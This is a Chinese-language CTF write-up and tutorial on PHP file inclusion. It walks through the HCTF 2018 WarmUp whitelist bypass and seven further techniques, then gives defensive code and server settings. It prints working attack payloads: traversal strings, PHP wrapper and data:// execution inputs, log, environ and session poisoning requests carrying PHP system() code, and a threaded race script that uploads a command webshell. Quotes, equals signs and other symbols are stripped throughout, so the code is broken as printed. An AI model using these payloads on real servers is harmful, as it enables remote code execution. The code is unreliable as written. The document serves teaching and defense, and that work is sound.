从WarmUp实战解析PHP文件包含漏洞的七种高级绕过技术在CTF竞赛和实际渗透测试中PHP文件包含漏洞(LFI)一直是Web安全领域的经典议题。2018年HCTF大赛的WarmUp题目以其精巧的白名单设计成为学习文件包含绕过的绝佳案例。本文将带您深入漏洞核心不仅还原解题过程更系统梳理七种实用绕过技术。1. WarmUp题目漏洞原理深度剖析当我们首次打开WarmUp题目时映入眼帘的只是一个简单的笑脸图片。查看网页源代码后发现提示指向source.php文件。这个典型的线索隐藏设计正是CTF比赛的常见套路。核心漏洞代码分析class emmm { public static function checkFile($page) { $whitelist [sourcesource.php,hinthint.php]; if (!isset($page) || !is_string($page)) { echo you cant see it; return false; } if (in_array($page, $whitelist)) { return true; } $_page mb_substr($page, 0, mb_strpos($page.?, ?)); if (in_array($_page, $whitelist)) { return true; } $_page urldecode($page); $_page mb_substr($_page, 0, mb_strpos($_page.?, ?)); if (in_array($_page, $whitelist)) { return true; } return false; } }这段代码看似严谨的白名单校验机制实则暗藏玄机。让我们拆解其防御逻辑基础检查验证输入是否为字符串第一层校验直接匹配白名单第二层校验截取问号前内容匹配白名单第三层校验URL解码后再进行截取匹配漏洞触发点分析检查环节防御意图潜在绕过方式初始检查过滤非字符串输入确保传入字符串参数直接匹配精确控制可包含文件无法直接绕过截取匹配防止参数污染利用问号截断特性URL解码防御编码绕过二次编码可能有效关键突破点在于mb_substr与mb_strpos的配合使用。当我们在文件名后添加问号时hint.php?payload → 截取后仍为hint.php → 通过白名单校验2. 文件包含漏洞的七种高级绕过技术2.1 路径遍历组合绕过WarmUp题目的经典解法就是结合问号截断与目录遍历source.php?filehint.php?/../../../../ffffllllaaaagggg技术要点?作为截断符号保持白名单校验通过../实现目录跳转需要预估目标文件的相对路径深度实际操作中常用以下方法确定跳转层级# 尝试不同层级深度 for i in {1..6}; do curl http://target/source.php?filehint.php?$(printf ../%.0s {1..$i})flag; done2.2 编码混淆技术当基础绕过被过滤时编码技术往往能出奇制胜常用编码方式URL编码../→%2e%2e%2f双重URL编码../→%252e%252e%252fUTF-8编码../→..%c0%af注意现代PHP版本已修复大部分编码绕过漏洞2.3 PHP伪协议利用PHP内置的多种伪协议为文件包含提供了丰富攻击面协议示例适用场景php://filterphp://filter/convert.base64-encode/resourcehint.php读取源码zip://zip:///var/www/upload/test.jpg%23shell.php解压包含data://data://text/plain,?php phpinfo();?直接执行代码phar://phar:///path/to/phar.phar/internal/file.phpPhar包利用// 典型伪协议利用示例 include($_GET[file]); // 可控点 // 攻击者输入php://filter/convert.base64-encode/resourceconfig.php2.4 日志文件注入当常规方法失效时系统日志可能成为突破口通过User-Agent或Referer注入PHP代码包含访问日志文件触发代码执行GET /vuln.php?file/var/log/apache2/access.log HTTP/1.1 User-Agent: ?php system(id);?常见日志路径/var/log/apache2/access.log /var/log/nginx/access.log /usr/local/apache/log/error_log2.5 环境变量利用/proc/self/environ提供了另一种攻击向量控制HTTP头字段如User-Agent包含环境变量文件执行注入的PHP代码GET /vuln.php?file/proc/self/environ HTTP/1.1 User-Agent: ?php phpinfo();?2.6 Session文件利用PHP会话机制也可能成为攻击入口预测session文件路径通常包含PHPSESSID向session注入代码包含session文件执行// session文件通常位于 /var/lib/php5/sess_[PHPSESSID] /tmp/sess_[PHPSESSID]2.7 临时文件竞争利用上传结合包含的复杂攻击方式上传含恶意代码的临时文件快速包含临时目录如/var/tmp利用竞争条件执行代码import requests import threading def upload(): while True: files {file: (shell.php, ?php system($_GET[c]);?)} requests.post(http://target/upload.php, filesfiles) def include(): while True: r requests.get(http://target/vuln.php?file/var/tmp/php*) if uid in r.text: print([] Exploit success!) break threading.Thread(targetupload).start() threading.Thread(targetinclude).start()3. 防御措施与安全开发实践3.1 输入验证最佳实践白名单验证强化方案function safe_include($file) { $allowed [ home.php realpath(./pages/home.php), about.php realpath(./pages/about.php) ]; // 验证是否为允许文件 if(!array_key_exists($file, $allowed)) { return false; } // 验证实际路径是否匹配 $requested realpath(./pages/.$file); if($requested ! $allowed[$file]) { return false; } // 禁止包含目录 if(is_dir($requested)) { return false; } return $requested; } // 安全使用方式 if($file safe_include($_GET[page])) { include($file); } else { include(./pages/error.php); }3.2 服务器安全配置php.ini关键配置项配置项推荐值安全作用open_basedir限定目录限制文件访问范围allow_url_includeOff禁止远程文件包含allow_url_fopenOff禁止远程文件操作disable_functionsexec,system,...禁用危险函数session.save_path专用目录避免session劫持3.3 架构层面防护纵深防御策略前端控制使用枚举值而非自由输入实现CSRF保护应用层防护严格的文件路径验证文件内容检查如PHP标记检测系统层加固Web服务器权限隔离关键目录不可写定期日志审计4. CTF实战演练与技巧进阶4.1 WarmUp题目变种挑战假设题目增加了以下防御措施如何绕过过滤../序列使用绝对路径/var/www/html/flag编码绕过%2e%2e%2f禁用问号截断尝试NULL字节截断%00使用超长路径触发截断检查文件扩展名利用PHP伪协议绕过扩展名检查使用/proc/self/fd/等特殊路径4.2 自动化测试技巧使用Burp Suite进行高效测试Intruder攻击预置常见包含路径字典配置payload处理规则自动编码BApp扩展LFI扫描插件自动识别漏洞利用CO2插件生成高级payload宏录制自动化session获取流程实现复杂攻击链自动化4.3 真实环境下的思维拓展在实际渗透测试中文件包含漏洞往往需要结合其他技术信息收集阶段# 查找可能包含的配置文件 ffuf -w wordlist.txt -u http://target/vuln.php?fileFUZZ -fs 0权限提升路径包含日志获取敏感信息包含环境变量获取凭证通过/proc获取系统信息持久化维持写入恶意代码到访问日志篡改PHP配置文件创建恶意session文件在最近的一次安全评估中我们发现某系统虽然过滤了../但未处理..\通过Windows路径分隔符成功实现了目录遍历。这种平台差异导致的防御遗漏在实际环境中相当常见。